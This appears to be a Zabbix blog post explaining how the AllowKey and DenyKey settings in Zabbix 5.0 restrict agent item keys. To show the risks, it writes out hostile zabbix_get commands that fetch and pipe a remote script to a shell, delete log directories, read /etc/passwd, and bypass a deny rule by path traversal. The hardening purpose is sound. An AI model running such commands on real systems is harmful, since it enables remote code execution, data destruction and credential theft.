The new whitelist and blacklist functionality in Zabbix 5.0 may help to secure your environment. Learn how and why using this functionality in the following blog post.
Contents
I. Why using whitelists and blacklists (2:24)
II. How to protect (5:55)
1. Order (7:47)
2. Patterns (10:49)
1. Configuration (14:14)
2. Zabbix command-line utilities (16:15)
3. Whitelists vs. Blacklists (16:52)
Why using whitelists and blacklists
1. Zabbix Agent can gather sensitive information from configuration files, log files, or password files. For instance, one can use zabbix_get utility to check item keys from the command line.
With zabbix_get you can easily get file contents, including a list of users, their home directories, user IDs, files with plain text passwords stored in the system, or log files with sensitive information. All these files are accessible by default with Zabbix file keys, provided the Zabbix Agent has read permissions.
Using zabbix_get to check item keys
2. Zabbix Agent can execute harmful commands.
- system.run[] item key allows executing any remote command on a remote host, including potentially dangerous commands, or removing important log files, for instance. Zabbix frontend scripts also allow for downloading malicious code from a website and execute it directly in your system.
# zabbix_get -s my.prod.host-k system.run["wget http://malicious_source -O-| sh"] # zabbix_get -s my.prod.host-k system.run["rm -rf /var/log/applog/"]
- On Linux, Zabbix Agent by default runs under an unprivileged account by default, which allows for some protection.
- On Windows, Zabbix Agent works under ‘System‘ account and has unlimited access to the local file system — it can start or stop services, run any commands, or access any file modifier registry.
- On Windows, Zabbix Agent allows for executing any WMI queries.
How to protect
To protect from such drawbacks while using Zabbix Agent, a new feature was introduced in Zabbix 5.0 — blacklists and whitelists.
Before Zabbix 5.0, you could have used EnableRemoteCommands=0 command, which disabled all system.run[*] checks, but you still couldn’t allow or disable access to files, log files, and any other item keys.
EnableRemoteCommands in Zabbix 3.0 or Zabbix 4.0
In Zabbix 5.0, all items are allowed by default, and you can use a combination of two new configuration parameters — AllowKey and DenyKey:
- AllowKey=<pattern> — to define the allowed checks;
- DenyKey=<pattern> — to define the denied checks;
where <pattern> is a wildcard expression, which might be used in both the key name and parameters.
With these two parameters, you can basically create whitelists and blacklists. An unlimited number of AllowKey/DenyKey parameters are supported.
Order
As you are specifying more than one of these parameters, it is the order, which actually matters. Rules are checked in the order, in which they are specified.
As soon as any item key matches the rule, the item is allowed or denied, and the rule check is stopped. If an item matches both rules, the result will depend on the rule defined first.
Key workflow.
To set up a correct key, first, you need to allow, for instance, any file operation as file size or file contents with any file located somewhere, and then deny all operations with any other files.
AllowKey=vfs.file.*[/var/log/myapp/*] AllowKey=vfs.file.*[/var/log/mydb/*] DenyKey=vfs.file.*[*]
On the other hand, if you define, for instance, DenyKey=system.run[*] first, it will immediately deny any system.run[*] command, and your other system.run[*] commands will be ignored.
DenyKey=system.run[*] AllowKey=system.run[ipcs-l] AllowKey=system.run[free]
Patterns
AllowKey and DenyKey are using wildcard(*) patterns.
General pattern rules.
- wildcard (*) character matches any number of any characters in a certain position.
- wildcard (*) character may be used in both the key name and the parameters.
- Specified parameters must be fully enclosed in the square brackets:
— system.run[* — wrong syntax,
— vfs.file*.txt] — wrong syntax,
— vfs.file.*[*] — correct syntax, which will be accepted by the Zabbix Agent.
Pattern examples
- Parameters must be specified as wildcards.
You can deny the vfs.file.* contents without parameters, but if you try to access some file, the access to your file will be granted despite the DenyKey.
Specifying parameters — DenyKey=vfs.file.*
- If parameters wildcard is specified, item key will be allowed without parameters.
For instance, you might deny system.cpu.load[*], but a simple system.cpu.load key without any parameters will still be allowed.
Specifying parameters — DenyKey=system.cpu.load[*]
NOTE. Complete testing is recommended before implementing this feature into production.
Notes
Configuration
- AllowKey and DenyKey rules do not affect the following configuration parameters:
— HostnameItem
— HostMetadataItem
— HostInterfaceItem
These parameters can still use the keys, which are denied, as they are specified for configuration purposes and are not accessible by users.
- If a specific item key is disallowed in the agent configuration:
— The item will be reported as unsupported (without any explanation for security reasons);
— Denied remote commands will not be logged in the agent log.
- Zabbix Agent configuration allows you to use the ‘Include file’ option to include additional configuration files. In this case, such files should not be specified in any particular order (for instance, alphabetical), as the order is of much importance here and may entail unexpected results.
Zabbix command-line utilities
- Zabbix agent with –print (-p) command-line option will ignore the keys that are not allowed by configuration.
- Zabbix agent with –test (-t) command-line option will return ‘Unsupported item key‘.
- zabbix_get with -k command-line option will return ‘ZBX_NOTSUPPORTED: Unknown metric‘ as it works as a public passive check.
Whitelists vs. Blacklists
Choosing between whitelists and blacklists depends on the situation. However, relying on blacklists may have unexpected results.
For instance, you may explicitly deny the file (even without wildcard),
DenyKey=vfs.file.contents[/etc/passwd]
and test the file with zabbix_get,
# zabbix_get -s my.prod.host-k vfs.file.contents["/etc/passwd"]
which will return the ‘NOTSUPPORTED‘ message:
ZBX_NOTSUPPORTED: Unknown metric vfs.file.contents
Still, to ignore the DenyKey and get the results, you might need a simple path:
# zabbix_get -s my.prod.host-k vfs.file.contents["/tmp/../etc/zabbix/../passwd"]
Path ignoring the DenyKey
So, in some situations, a whitelist of some AllowKey checks is better and safer.
NOTE. Double quotes in AllowKey and DenyKey are not required.
NOTE. If you use incorrect syntax, Zabbix Agent might crash, as it’s a wrong configuration option, preventing the Zabbix Agent to start. Zabbix Agent holds no syntax checks, so if you will deny a non-existing key, it will be denied as the Zabbix Agent might see it as a user parameter.
NOTE. If the denied item for the key is “Unsupported” in the frontend, we won’t have any message in the logs even if we increase the debug level.
NOTE. Denying and allowing lists basically protects the machines from the Zabbix Server getting compromised, as any user with admin permissions can create hosts. For instance, zabbix_get, a standalone utility may be installed anywhere, and with the server address, it grants access to intruders. So, log messages are not provided for additional protection.
Thank you!
